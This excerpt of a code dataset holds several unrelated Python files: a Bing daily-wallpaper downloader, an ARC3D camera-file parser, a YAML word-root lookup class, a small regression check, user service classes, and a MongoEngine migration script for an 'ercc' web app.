\ndef log_record(dirname,log_txt):\n \n # change the directory to dirname\n os.chdir(dirname)\n \n # set default name for logging\n log_name = \"log.txt\"\n \n # get current time \n local_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n \n # judge txt exists or not\n if not os.path.exists(log_name): \n fw = open(log_name, 'a')\n fw.write(local_time + \"\\t\" +log_txt) \n fw.close()\n else:\n fw = open(log_name, 'a')\n fw.write(local_time + \"\\t\" +log_txt) \n fw.close()\n \n#http://cn.bing.com/HPImageArchive.aspx?format=json&idx=0&n=1&mkt=zh-cn\n \ndef get_img_url(dirname,market):\n try:\n # 得到图片文件的网址\n raw_img_url = \"https://www.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1\"\n mkt_suffix = \"&mkt=\" + market \n raw_img_url = raw_img_url +mkt_suffix\n response = requests.get(raw_img_url) \n \n result = response.json()\n url_prefix =\"https://www.bing.com\"\n img_url = url_prefix + result[\"images\"][0][\"url\"]\n \n except Exception as e:\n error_tips = 'error: wrong raw_img_url' + '\\n'\n #log_record(dirname,error_tips)\n return False\n else:\n return img_url\n\n# 保存图片到磁盘文件夹dirname中\n# \"1080x1920\"\n'''\n [ValidateSet('auto', 'ar-XA', 'bg-BG', 'cs-CZ', 'da-DK', 'de-AT',\n 'de-CH', 'de-DE', 'el-GR', 'en-AU', 'en-CA', 'en-GB', 'en-ID',\n 'en-IE', 'en-IN', 'en-MY', 'en-NZ', 'en-PH', 'en-SG', 'en-US',\n 'en-XA', 'en-ZA', 'es-AR', 'es-CL', 'es-ES', 'es-MX', 'es-US',\n 'es-XL', 'et-EE', 'fi-FI', 'fr-BE', 'fr-CA', 'fr-CH', 'fr-FR',\n 'he-IL', 'hr-HR', 'hu-HU', 'it-IT', 'ja-JP', 'ko-KR', 'lt-LT',\n 'lv-LV', 'nb-NO', 'nl-BE', 'nl-NL', 'pl-PL', 'pt-BR', 'pt-PT',\n 'ro-RO', 'ru-RU', 'sk-SK', 'sl-SL', 'sv-SE', 'th-TH', 'tr-TR',\n 'uk-UA', 'zh-CN', 'zh-HK', 'zh-TW')]\n'''\n\n\ndef save_img_url_txt(dirname,img_url):\n #创建,并追加写入\n filename = dirname + \"/\" + \"daily_bing_img_url.txt\"\n if not os.path.exists(filename): \n print (' 提示:记录文件daily_bing_img_url.txt', filename, '不存在,重新建立', '\\n')\n fw = open(filename, 'a+')\n fw.write(img_url+\"\\n\") \n fw.close()\n \n else:\n fw = open(filename, 'a+')\n fw.write(img_url+\"\\n\") \n fw.close()\n\n\ndef save_img(img_url, dirname, market, resolution = \"1920x1080\"):\n #分辨率替换\n if resolution == \"UHD\":\n img_url = img_url[0:img_url.find(\".jpg\")+4]\n img_url = img_url.replace(\"1920x1080\",resolution)\n else:\n img_url = img_url.replace(\"1920x1080\",resolution)\n \n print('图片地址为:', img_url, '\\n')\n #仅保留1920X1080用于方便后期处理\n if resolution == \"1920x1080\":\n save_img_url_txt(dirname, img_url)\n \n #按照年月归类\n #获取年月日\n year = datetime.datetime.now().year\n year = str(year)\n month = datetime.datetime.now().month\n month = str(month)\n month = month.zfill(2)\n dirname = dirname + \"/\" + year \n dirname = dirname + \"/\" + month \n dirname = dirname +\"/\" + resolution\n \n if not os.path.exists(dirname):\n print (' 提示:文件夹', dirname, '不存在,重新建立', '\\n')\n os.makedirs(dirname)\n \n try:\n # 用日期命名图片文件名,包括后缀 \n basename = time.strftime(\"%Y-%m-%d\", time.localtime()) + \"_\" + resolution +\"_\"+ market + \".jpg\"\n # 拼接目录与文件名,得到图片路径\n filepath = os.path.join(dirname, basename)\n # 下载图片,并保存到文件夹中\n urllib.request.urlretrieve(img_url,filepath)\n except IOError as e:\n print(' 错误:文件操作失败', e, '\\n')\n except Exception as e:\n print(' 错误:', e, '\\n')\n else:\n print(\" 保存\", filepath, \"成功!\", '\\n')\n \n return filepath\n\n\n \n\ndef save_bing_wallpaper(dirname,resolution,market = \"en-US\"):\n \n # 使用market 参数来建立分类文件夹\n dirname = dirname +'/' + market\n \n # 文件夹不存在就创建\n if not os.path.exists(dirname):\n print (' 提示:文件夹', dirname, '不存在,重新建立', '\\n')\n os.makedirs(dirname)\n\n \n print(\"壁纸将被保存在:\", dirname, '\\n')\n market = market.upper()\n if market not in valid_mkt:\n print(\"不存在的地区,请检查\", '\\n')\n else:\n img_url = get_img_url(dirname,market)\n \n if img_url != False:\n save_img(img_url, dirname,market,resolution) # 图片文件的的路径\n \n \n \n \n# 请求网页,跳转到最终 img 地址\n\n'''\ndef main():\n dirname = \"D:\\\\壁纸\\\\Bing\" # 图片要被保存在的位置\n dirname_mobile = \"D:\\\\壁纸\\\\Bing\\\\1080x1920\" \n print(\"壁纸将被保存在:\", dirname, '\\n')\n\n img_url = get_img_url(dirname,\"en-us\")\n if img_url != False:\n print('图片地址为:', img_url, '\\n')\n filepath = save_img(img_url, dirname) # 图片文件的的路径\n\n\nmain()\n'''","sub_path":"old2/bing.py","file_name":"bing.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"169576358","text":"#! /usr/bin/python\n\n# EXTRACTION DES DONNEES ARC3D\nimport os\nimport re\nimport sys\nimport numpy as np\n\n#function [R,t,N,List] = extractDonneesArc3D(dircam)\ndef extractDonneesArc3d(dircam):\n\n\n#Creation d'une structure List contenant la liste des fichiers camera\n#contenus dans dir\n#List = dir(fullfile(dircam, 'camera.*'));\n\n camList = [f for f in os.listdir(dircam) if (f.find(\"camera\") != -1)]\n camList.sort()\n#Nombre de fichiers camera\n#N = length(List);\n N = len(camList)\n\n#Initialisation d'une matrice rotation R (3x3xN) et d'un vecteur\n#translation t (Nx3)\n#R = zeros([3 3 N]);\n#t = zeros([N 3]);\n\n R = np.zeros( (3, 3, N) )\n t = np.zeros( (N, 3) )\n\n#Lecture des N fichiers camera\n for i in range(N):\n f = open(dircam + \"/\" + camList[i])\n lineNumber = 0\n for l in f:\n if lineNumber == 6:\n R[:, 0, i] = map(float, l.split())\n if lineNumber == 7:\n R[:, 1, i] = map(float, l.split())\n if lineNumber == 8:\n R[:, 2, i] = map(float, l.split())\n if lineNumber == 10:\n t[i, :] = map(float, l.split())\n lineNumber += 1\n\n return [R, t, N]\n\n'''for i=1:N\n camera = fullfile(dircam, List(i).name);\n fid = fopen(camera,'r');\n A = fscanf(fid,'%e');\n R(:,:,i) = [A(13) A(14) A(15); A(16) A(17) A(18); A(19) A(20) A(21)];\n t(i,:) = [A(22) A(23) A(24)];\n fclose(fid);\nend\nend'''\n\n#extractDonneesArc3d(sys.argv[1])\n\n","sub_path":"scripts/GeoScale/extractDonneesArc3D.py","file_name":"extractDonneesArc3D.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"511090934","text":"import yaml\n\n\nclass Yaml_Root:\n def __init__(self):\n self.prefix_explain_dict = dict()\n self.root_explain_dict = dict()\n self.suffix_explain_dict = dict()\n with open('D:/github_project/make_anki_word_list/yaml_root/1 词缀词根.yaml', encoding='utf-8') as f:\n all_prefix_root_suffix = yaml.load(f, Loader=yaml.FullLoader)\n for prs_content in all_prefix_root_suffix:\n cls = prs_content[0]\n prs = prs_content[1]\n explain = prs_content[2]\n if cls == '前缀':\n self.prefix_explain_dict[prs] = explain\n elif cls == '词根':\n self.root_explain_dict[prs] = explain\n elif cls == '后缀':\n self.suffix_explain_dict[prs] = explain\n else:\n raise Exception(cls)\n\n with open('D:/github_project/make_anki_word_list/yaml_root/2 单词列表.yaml', encoding='utf-8') as f:\n word_content = yaml.load(f, Loader=yaml.FullLoader)\n self.w_r_dict = dict()\n for word_context in word_content:\n word = word_context[0]\n root = word_context[1][0][2]\n self.w_r_dict[word] = root\n\n def get_possible_prefix_root_suffix_html(self, word: str):\n html_str = ''\n for prefix in self.prefix_explain_dict:\n if word.startswith(prefix):\n html_str += '前缀: ' + prefix + ': \\t' + self.prefix_explain_dict[prefix]\n html_str += '
    '\n for root in self.root_explain_dict:\n if root in word:\n html_str += '词根: ' + root + ': \\t' + self.root_explain_dict[root]\n html_str += '
    '\n for suffix in self.suffix_explain_dict:\n if word.startswith(suffix):\n html_str += '前缀: ' + suffix + ': \\t' + self.suffix_explain_dict[suffix]\n html_str += '
    '\n return html_str\n\n def get_root(self, word):\n return self.w_r_dict.get(word, '')\n\n def get_root_html(self, word):\n return self.get_root(word)\n","sub_path":"yaml_root/txt_to_dict.py","file_name":"txt_to_dict.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"354750186","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 14 16:53:47 2018\n\n@author: Harshvardhan\n@notes: Contains code to independently verify the results of the single-shot\n regression where 1 client implies pooled regression\n\"\"\"\n\nimport statsmodels.api as sm\n\n# Example 1 - corresponds to one inputspec.json\nX = [[2, 3], [3, 4], [7, 8], [7, 5], [9, 8]]\ny = [6, 7, 8, 5, 6]\nlamb = 0.\n\n# Example 2 - another inputspec.json\n# X = [20.1, 7.1, 16.1, 14.9, 16.7, 8.8, 9.7, 10.3, 22, 16.2, 12.1, 10.3]\n# y = [31.5, 18.9, 35, 31.6, 22.6, 26.2, 14.1, 24.7, 44.8, 23.2, 31.4, 17.7]\n\nX = sm.add_constant(X)\n\n\n# model = sm.OLS(y, X).fit() is equivalent to the following line\n# when lamb=0. and is basic regression\nmodel1 = sm.OLS(y, X).fit_regularized(alpha=lamb, L1_wt=0.)\nprint(model1.params)\n","sub_path":"test/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"24120753","text":"from src.users.application.bus.user_command_query import UpdateUserCommand, CreateUserCommand, FindUserQuery\nfrom src.users.domain.user import UserFactory, UserName, UserLastName\nfrom src.users.domain.user_repository import UserFinderRepository, UserMngRepository\nfrom src.users.domain.user_service import UserFinderService\n\n\nclass UserFinderdAppService:\n def __init__(self, user_finder_repository: UserFinderRepository):\n self.user_finder_service = UserFinderService(user_finder_repository)\n\n def find_by_id(self, id):\n user = self.user_finder_service.find_by_id(id)\n return {\n 'id': user.id,\n 'name': user.name,\n 'last_name': user.last_name\n }\n\n\nclass UserCreateAppService:\n def __init__(self, user_mng_repository: UserMngRepository):\n self.user_mng_repository = user_mng_repository\n\n def create(self, id, name, last_name):\n user = UserFactory.create(id, name, last_name)\n self.user_mng_repository.persist(user)\n return True\n\n\nclass UserUpdateAppService:\n def __init__(self, user_mng_repository: UserMngRepository, user_finder_repository: UserFinderRepository):\n self.user_mng_repository = user_mng_repository\n self.user_finder_service = UserFinderService(user_finder_repository)\n\n def update(self, id, name, last_name):\n user = self.user_finder_service.find_by_id(id)\n\n vo_name = UserName(name)\n vo_last_name = UserLastName(last_name)\n\n vo_name.validate()\n vo_last_name.validate()\n\n user.name = vo_name.value()\n user.last_name = vo_last_name.value()\n self.user_mng_repository.persist(user)\n return True\n","sub_path":"app/src/users/application/services/user_app_service.py","file_name":"user_app_service.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"262581850","text":"# -*-encoding:utf-8 -*-\n\nfrom bson.dbref import DBRef\nfrom mongoengine import ValidationError, NotUniqueError\n\nfrom flask_script import Manager # , prompt_bool, prompt\nfrom ercc import db, _create_app, configure_extensions\nfrom ercc.utils import password_hash\n\nimport logging\n\napp = _create_app()\nconfigure_extensions(app)\n\n# manager = Manager(usage=\"Perform one-time migration for changing db-schema\")\nmanager = Manager(app, usage=\"Migration scripts\")\n\n\n@manager.command\ndef m001_hash_password():\n \"\"\"password-text-hashing.\"\"\"\n\n from ercc.ercc_bps.login.models import User\n for user in User.objects.all():\n if len(user.password) != len('05b43646ade8fca113fe5464b1c8a5c8'):\n try:\n user.password = password_hash(user.password)\n user.save()\n print(user.email, 'done')\n except: # noqa\n pass\n\n\n@manager.command\ndef m002_encrypt_email():\n \"\"\"email-encryption.\"\"\"\n from ercc.utils.crypt import encrypt, decrypt\n\n # from ercc.ercc_bps.login.models import User\n class User(db.DynamicDocument):\n pass\n\n for user in User.objects.all():\n if user.email.find('@') >= 0:\n try:\n user.email = encrypt(user.email)\n user.save()\n print(user.email,)\n print(decrypt(user.email), 'done')\n except: # noqa\n pass\n\n\n@manager.command\ndef m003_make_none_to_default_project_group():\n \"\"\"project_group 구현시에 기본갑이 None으로 되어 있던 프로젝트정보들을 default그룹으로 일괄 변경\"\"\"\n from ercc.ercc_bps.project.models import Project, ProjectGroup\n default_project_group = ProjectGroup.default()\n for prj in Project.objects(project_group=None).all():\n prj.project_group = default_project_group\n prj.save()\n print('processing..', prj.id)\n\n\n@manager.command\ndef m004_fill_post_summary():\n from ercc.ercc_bps.board.models import Post\n from ercc.ercc_bps.project.models import Project\n\n for prj in Project.objects.all():\n for post in Post.objects(project=prj):\n post.save() # clean method fills the summary automatically.\n\n\n@manager.command\ndef m004():\n \"\"\"cleaning_user_by_email_address\"\"\"\n from ercc.ercc_bps.login.models import User\n\n ids = User.objects.only('id').all()\n for obj in ids:\n user = User.objects(pk=obj.id).first()\n try:\n user.save()\n except ValidationError:\n print('deleted ', user)\n user.delete()\n\n\n@manager.command\ndef m005():\n \"\"\"_project_group_members\"\"\"\n\n from ercc.ercc_bps.login.models import User\n\n \"\"\"migration수행시에 DynamicDocumnet로만 지정하면 실제 저장되는 형식이 달라서,\n 나중에 app의 모델과 맞지 않는다. 사용하고자 하는 필드는 꼭 지정하기\"\"\"\n class ProjectGroup(db.DynamicDocument):\n managers = db.ListField(db.ReferenceField(User))\n members = db.ListField(db.ReferenceField(User))\n\n class ProjectGroupUser(db.DynamicDocument):\n user = db.ReferenceField(User)\n project_group = db.ReferenceField(ProjectGroup)\n\n # 비우고 시작.\n ProjectGroupUser.drop_collection()\n\n # 기존사용자를 모두 default_project_group에 할당.\n default_pg = ProjectGroup.objects(slug='default').first()\n default_pg = DBRef('project_group', default_pg.id)\n for user in User.objects.all():\n print(ProjectGroupUser(\n project_group=default_pg, user=user).save().user)\n\n # 다른 project_group정리.\n for pg in ProjectGroup.objects.all():\n if pg.slug == 'default':\n continue\n # print pg.members\n # print pg.managers\n owner = pg.managers[0]\n for user in pg.members:\n try:\n is_moderator = user in pg.managers\n except AttributeError:\n is_moderator = False\n is_owner = (user == owner)\n print(user, is_moderator, is_owner)\n ProjectGroupUser(\n project_group=pg,\n user=user,\n is_moderator=is_moderator,\n is_owner=is_owner).save()\n\n # 검증\n user_count = User.objects.count()\n pgu_count = ProjectGroupUser.objects(project_group=default_pg).count()\n print(user_count, pgu_count)\n assert user_count == pgu_count\n\n for pg in ProjectGroup.objects:\n if pg.slug == 'default':\n continue\n\n member_count = len(pg.members)\n pgm_count = ProjectGroupUser.objects(project_group=pg).count()\n print(member_count, pgm_count)\n assert member_count == pgm_count\n\n manager_count = len(pg.managers)\n pgm_count = ProjectGroupUser.objects(\n project_group=pg, is_moderator=True).count()\n print(manager_count, pgm_count)\n assert manager_count == pgm_count\n\n\n@manager.command\ndef m006():\n \"\"\"project_group_column_drop\"\"\"\n class ProjectGroup(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {$unset: {\"managers\": 1}}, false, true);\n }\n \"\"\"\n ProjectGroup.objects.exec_js(alter_code)\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {$unset: {\"members\": 1}}, false, true);\n }\n \"\"\"\n ProjectGroup.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m007():\n # from ercc.ercc_bps.login.models import User\n from ercc.ercc_bps.project.models import (\n ProjectVisitLog,\n ProjectWaitingUserInbound,\n ProjectWaitingUserOutbound,\n )\n from ercc.ercc_bps.project.models import ProjectUser, Project\n from datetime import datetime\n import mongoengine\n\n class InvitationSet(db.Document):\n \"\"\"\n 사용자 초대내용을 관리한다. (migration용)\n \"\"\"\n invitee = db.EmailField(required=True)\n inviter = db.ReferenceField('User', required=True)\n project = db.ReferenceField(\n 'Project',\n required=True,\n reverse_delete_rule=mongoengine.CASCADE\n )\n when = db.DateTimeField(default=datetime.now, required=True)\n created_at = db.DateTimeField(default=datetime.now, required=True)\n done = db.BooleanField(default=False) # 가입여부. 가입되면 더이상 참조할 필요없음\n\n # class Project(db.DynamicDocument):\n # owner = db.ReferenceField(User)\n # modelers = db.ListField(db.ReferenceField(User))\n # term_managers = db.ListField(db.ReferenceField(User))\n # members = db.ListField(db.ReferenceField(User))\n\n # class ProjectUser(db.DynamicDocument):\n # user = db.ReferenceField(User)\n # project = db.ReferenceField(Project)\n\n # 비우고 시작.\n ProjectUser.drop_collection()\n ProjectWaitingUserOutbound.drop_collection()\n ProjectWaitingUserInbound.drop_collection()\n\n for project in Project.objects.all():\n for user in project.members:\n is_owner = (user == project.owner)\n is_modeler = (user in project.modelers)\n is_termer = (user in project.term_managers)\n visit_log = ProjectVisitLog.objects(\n user=user, project=project).first()\n if visit_log:\n last_visited_at = visit_log.when\n created_at = visit_log.created_at\n else:\n last_visited_at, created_at = None, None\n\n try:\n ProjectUser(\n user=user,\n project=project,\n is_owner=is_owner,\n is_modeler=is_modeler,\n is_termer=is_termer,\n last_visited_at=last_visited_at,\n created_at=created_at).save()\n except NotUniqueError:\n print(user, project, 'NotUniqueError1')\n\n for user in project.waiting_members:\n visit_log = ProjectVisitLog.objects(\n user=user, project=project).first()\n if visit_log:\n asked_at = visit_log.created_at\n created_at = visit_log.created_at\n message = visit_log.request_message\n else:\n asked_at, created_at = None, None\n message = ''\n try:\n ProjectWaitingUserInbound(\n user=user,\n project=project,\n asked_at=asked_at,\n asked_message=message,\n created_at=created_at).save()\n except NotUniqueError:\n print(user, project, 'NotUniqueError2')\n\n for invatation in InvitationSet.objects(project=project, done=False):\n kw = dict(project=project,\n user=invatation.invitee,\n outbound_email_sent_at=invatation.when,\n outbound_email_sent_count=1,\n invited_by=invatation.inviter,\n created_at=invatation.created_at)\n try:\n ProjectWaitingUserOutbound(**kw).save()\n except NotUniqueError:\n logging.critical('ss', exc_info=True)\n user = ProjectWaitingUserOutbound.objects(\n project=project, user=invatation.invitee).first()\n if user is not None:\n user.outbound_email_sent_count += 1\n user.outbound_email_sent_at = (\n invatation.when\n if invatation.when > user.outbound_email_sent_at\n else user.outbound_email_sent_at\n )\n else:\n print(invatation.invitee, project, 'NotUniqueError3')\n\n\n@manager.command\ndef m008():\n \"\"\"project_group_column_drop\"\"\"\n class Project(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {\n $unset: {\n \"members\": 1,\n \"owner\": 1,\n \"term_managers\": 1,\n \"modelers\": 1\n }\n }, false, true);\n }\n \"\"\"\n Project.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m009():\n class Project(db.DynamicDocument):\n pass\n\n class ProjectGroup(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {$unset: {\"product\": 1}}, false, true);\n }\n \"\"\"\n Project.objects.exec_js(alter_code)\n ProjectGroup.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m010():\n from ercc.models import User, Project, Coupon, ProjectGroup, Product, Order\n import datetime\n from dateutil.relativedelta import relativedelta\n\n user = User.objects.get(email='wecanfly@sk.com')\n product = Product.objects.get(product_code='project_unlimited')\n\n # ISSUE COUPONS FOR OLD-PRIVATE-PROJECTS\n for project in Project.objects(private=True).all():\n if project.project_group:\n if project.project_group.is_default:\n # GIVE ME COUPON!\n coupon = Coupon(\n issuer=user,\n product=product,\n quantity=12,\n group_id='old-project-support'\n ).save()\n Order(\n payer=project.owner,\n product=coupon.product,\n started_when=datetime.datetime.now(),\n expired_when=(\n datetime.datetime.now() +\n relativedelta(months=coupon.quantity)\n ),\n coupon=coupon,\n quantity=coupon.quantity,\n project=project\n ).save()\n project.is_free = False\n project.save()\n else:\n project.project_group = ProjectGroup.default()\n project.save()\n\n\n@manager.command\ndef m011():\n from ercc.models import User\n users = User.objects.all()\n for user in users:\n user.save()\n\n# ------- end-of erc.skcc.com migration ---------\n\n\n@manager.command\ndef newSubjtree():\n from ercc.ercc_bps.erc.models import SubjectTree, Model\n from ercc.models import Project\n from bson.objectid import ObjectId\n\n def modify_SubjArea_Attr_Info(sjaObject):\n if \"type\" in sjaObject and sjaObject[\"type\"] == \"subject\":\n if \"a_attr\" in sjaObject and sjaObject[\"a_attr\"] is not None:\n attr = sjaObject[\"a_attr\"]\n if \"objectId\" in attr and attr is not None:\n subjAreaId = attr[\"objectId\"]\n from ercc.ercc_bps.erc.models import SubjectArea\n subjCollection = SubjectArea._get_collection()\n mdlDtl = subjCollection.find_one({'_id': ObjectId(subjAreaId)})\n if mdlDtl is not None:\n attr[\"Oid\"] = str(mdlDtl[\"Oid\"])\n else:\n pass\n\n if \"children\" in sjaObject:\n if len(sjaObject[\"children\"]) > 0:\n for childObj in sjaObject[\"children\"]:\n modify_SubjArea_Attr_Info(childObj)\n\n for project in Project.objects().all():\n treeCollection = SubjectTree._get_collection()\n modelCollection = Model._get_collection()\n\n oldsubjectDict = treeCollection.find_one(\n {\"prjId\": str(project.id), \"newest\": \"Y\"}\n )\n\n modelOrder = []\n\n if oldsubjectDict is not None:\n tree = oldsubjectDict[\"tree\"]\n if tree is not None:\n for subjectareaTree in tree:\n modify_SubjArea_Attr_Info(subjectareaTree)\n if \"a_attr\" in subjectareaTree:\n mdlId = subjectareaTree[\"a_attr\"][\"objectId\"]\n model = modelCollection.find_one({'_id': ObjectId(mdlId)})\n Oid = model[\"Oid\"] if model is not None and \"Oid\" in model else None\n subjectareaTree[\"a_attr\"][\"Oid\"] = str(Oid)\n modelCollection.update(\n {'Oid': Oid, \"newest\": \"Y\"},\n {\n \"$set\":\n {\"subjectareaTree\": subjectareaTree}\n }\n )\n modelOrder.append({\"id\": mdlId, \"Oid\": str(Oid)})\n\n treeCollection.update(\n {\"prjId\": str(project.id), \"newest\": \"Y\"},\n {\n \"$set\": {\"modelOrder\": modelOrder}\n }\n )\n\n\n@manager.command\ndef newModel():\n from ercc.ercc_bps.erc.models import SubjectTree, Model\n from ercc.models import Project\n from bson.objectid import ObjectId\n\n def modify_SubjArea_Attr_Info(sjaObject):\n if \"type\" in sjaObject and sjaObject[\"type\"] == \"subject\":\n if \"a_attr\" in sjaObject and sjaObject[\"a_attr\"] is not None:\n attr = sjaObject[\"a_attr\"]\n if \"objectId\" in attr and attr is not None:\n subjAreaId = attr[\"objectId\"]\n from ercc.ercc_bps.erc.models import SubjectArea\n subjCollection = SubjectArea._get_collection()\n mdlDtl = subjCollection.find_one({'_id': ObjectId(subjAreaId)})\n if mdlDtl is not None:\n attr[\"Oid\"] = str(mdlDtl[\"Oid\"])\n else:\n print(\"ARGGGGGGGHHHHHHHHHHHHH!!!!!!!!!!!!\")\n\n if \"children\" in sjaObject:\n if len(sjaObject[\"children\"]) > 0:\n for childObj in sjaObject[\"children\"]:\n modify_SubjArea_Attr_Info(childObj)\n\n for project in Project.objects().all():\n treeCollection = SubjectTree._get_collection()\n modelCollection = Model._get_collection()\n\n oldsubjectDict = treeCollection.find_one(\n {\"prjId\": str(project.id), \"newest\": \"Y\"}\n )\n\n modelOrder = []\n\n if oldsubjectDict is not None:\n tree = oldsubjectDict[\"tree\"]\n if tree is not None:\n for subjectareaTree in tree:\n modify_SubjArea_Attr_Info(subjectareaTree)\n if \"a_attr\" in subjectareaTree:\n mdlId = subjectareaTree[\"a_attr\"][\"objectId\"]\n model = modelCollection.find_one({'_id': ObjectId(mdlId)})\n Oid = model[\"Oid\"] if model is not None and \"Oid\" in model else None\n subjectareaTree[\"a_attr\"][\"Oid\"] = str(Oid)\n modelCollection.update(\n {'Oid': Oid, \"newest\": \"Y\"},\n {\n \"$set\":\n {\"subjectareaTree\": subjectareaTree}\n }\n )\n modelOrder.append({\"id\": mdlId, \"Oid\": str(Oid)})\n\n treeCollection.update(\n {\"prjId\": str(project.id), \"newest\": \"Y\"},\n {\n \"$set\": {\"modelOrder\": modelOrder}\n }\n )\n\n\n@manager.command\ndef m012():\n \"\"\"delete glossary-warnings-fields in term\n delete waiting_members, invited_members,\n auto_approve_requested_user, auto_approve_invite_user\n in project\n \"\"\"\n from ercc.models import Term\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {\n $unset: {\n \"warnings\": 1\n }\n }, false, true);\n }\n \"\"\"\n Term.objects.exec_js(alter_code)\n\n from ercc.models import Project\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {\n $unset: {\n \"waiting_members\": 1,\n \"invited_members\": 1,\n \"auto_approve_requested_user\": 1,\n \"auto_approve_invite_user\": 1,\n }\n }, false, true);\n }\n \"\"\"\n Project.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m013():\n \"\"\"rename column\"\"\"\n from ercc.models import User\n alter_code = \"\"\"\n function() {\n db[collection].updateMany({}, {\n $rename: {\n \"email_without_domain\": \"user_no\"\n }\n })\n }\n \"\"\"\n User.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m014():\n \"\"\"decrypt email\"\"\"\n from ercc.models import User\n from ercc.utils.crypt import decrypt\n\n # odd-email-string(why do they remained as undecrypted?)\n User.objects(email='ace2805@axiominfo.co.kr').delete()\n User.objects(email='jun.remember@gmail.com').delete()\n\n for user in User.objects.all():\n # print(user.email, end=', ')\n # print(decrypt(user.email))\n user.email = decrypt(user.email)\n user.save()\n # # print('failed, {}'.format(user.email))\n # logging.critical('failed, {}'.format(user.email), exc_info=True)\n\n # for pu in ProjectUser.objects.all():\n # try:\n # pu.user_email = decrypt(pu.user_email)\n # pu.save()\n # except:\n # print('failed, {}'.format(pu.user_email))\n # for pgu in ProjectGroupUser.objects.all():\n # try:\n # pgu.user_email = decrypt(pgu.user_email)\n # pgu.save()\n # except:\n # print('failed, {}'.format(pgu.user_email))\n\n\n@manager.command\ndef m015():\n \"\"\"project-user, project-group-user has cached-email-property\"\"\"\n from ercc.models import ProjectUser, ProjectGroupUser\n for pu in ProjectUser.objects.all():\n pu.user_email = pu.user.email\n pu.save()\n print(pu.user_email)\n for pgu in ProjectGroupUser.objects.all():\n pgu.user_email = pgu.user.email\n pgu.save()\n print(pgu.user_email)\n\n\n@manager.command\ndef m016():\n \"\"\"ProjectWaitingUserOutbound has user_email\"\"\"\n from ercc.models import ProjectWaitingUserOutbound\n for obj in ProjectWaitingUserOutbound.objects:\n obj.user_email = obj.user\n obj.save()\n\n\n@manager.command\ndef m017():\n mongodb = db.connection[app.config['MONGODB_SETTINGS']['DB']]\n mongodb.glossary_base.drop()\n mongodb.glossary.rename('glossary_base')\n mongodb.glossary_base.update_many(\n {},\n {'$set': {'_cls': 'GlossaryBase.Glossary'}}\n )\n\n\n@manager.command\ndef m018():\n\n from ercc.models import GlossaryBase, Model, ProjectUser\n for pu in ProjectUser.objects:\n pu.can_manage_all_models = False\n pu.can_manage_all_glossaries = False\n pu.manageable_models = [Model.objects.first()]\n pu.manageable_glossaries = [GlossaryBase.objects.first()]\n pu.save()\n pu.can_manage_all_models = True\n pu.can_manage_all_glossaries = True\n pu.manageable_models = []\n pu.manageable_glossaries = []\n pu.save()\n\n \"\"\"glossary has projectgroupfield\"\"\"\n from ercc.models import Glossary\n for glossary in Glossary.objects.all():\n glossary.project_group = glossary.project.project_group\n glossary.save()\n\n \"\"\"term has projectgroupfield\"\"\"\n # from ercc.models import Term, Glossary, InfoType\n # for glossary in Glossary.objects.all():\n # ret = Term.objects(\n # project=glossary.project,\n # glossary=glossary\n # ).update(\n # project_group=glossary.project_group\n # )\n # print(glossary, glossary.project_group, ret)\n # InfoType.objects(glossary=glossary).update(\n # project_group=glossary.project_group)\n\n\n@manager.command\ndef m019():\n from ercc.models import ProjectGroup\n for pg in ProjectGroup.objects:\n pg.create_glossary_master()\n\n\n@manager.command\ndef m020():\n from ercc.models import CodeSet\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {\n $unset: {\n \"project\": 1\n }\n }, false, true);\n }\n \"\"\"\n CodeSet.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m021():\n '''infotype cleaning and set humanized_logical_type'''\n from ercc.models import InfoType, InfoTypeMaster, CodeSetContext\n from datetime import datetime\n for i in InfoType.objects:\n if not i.decimal_place:\n i.decimal_place = None\n if not i.data_length:\n i.data_length = None\n i.modified_at = datetime.now()\n with CodeSetContext(i.glossary):\n i.save()\n for i in InfoTypeMaster.objects:\n if not i.decimal_place:\n i.decimal_place = None\n if not i.data_length:\n i.data_length = None\n i.modified_at = datetime.now()\n with CodeSetContext(i.glossary_master):\n i.save()\n\n\n@manager.command\ndef m030():\n '''glossary-derived drop glossary_name field'''\n class GlossaryBase(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({'_cls':'GlossaryBase.GlossaryDerived'}, {$unset: {\"glossary_name\": 1}}, false, true);\n }\n \"\"\"\n GlossaryBase.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m040():\n '''glossary-derived drop glossary_name field'''\n class Post(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {$set: {\"_cls\": \"Post.ProjectPost\"}}, false, true);\n }\n \"\"\"\n Post.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m050():\n from ercc.models import ProjectGroupUser, ProjectUser\n for pgu in ProjectGroupUser.objects.all():\n pgu.save()\n for pu in ProjectUser.objects.all():\n pu.save()\n\n\n@manager.command\ndef m060():\n from ercc.models import SchemaCollectResult\n\n 